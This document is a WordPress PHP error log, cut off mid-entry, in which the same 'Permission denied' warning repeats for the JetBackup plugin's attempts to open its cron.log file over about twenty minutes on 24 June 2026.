[24-Jun-2026 21:20:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:21:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:22:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:23:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:24:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:24:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:24:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:24:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:24:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:25:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:25:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:25:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:26:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:27:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:28:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:29:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:29:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:29:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:29:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:30:04 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:30:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:30:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:31:05 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:31:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:31:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:31:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:31:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:31:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:31:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:31:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:31:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:32:00 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:32:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:32:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:32:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:32:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:32:51 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:33:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:33:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:33:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:33:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:33:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:33:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:34:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:34:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:34:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:34:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:34:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:34:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:35:00 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:35:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:35:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:35:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:35:43 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:35:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:35:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:36:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:36:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:36:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:36:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:36:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:37:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:37:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:37:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:37:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:37:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:37:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:37:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:38:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:38:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:38:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:38:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:38:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:38:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:39:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:39:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:39:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:39:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:39:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:39:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:40:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:40:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:40:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:41:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:41:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:41:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:41:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:41:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:41:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:41:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:42:05 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:42:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:42:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:42:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:42:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:42:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:43:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:43:15 UTC] PHP Warning: 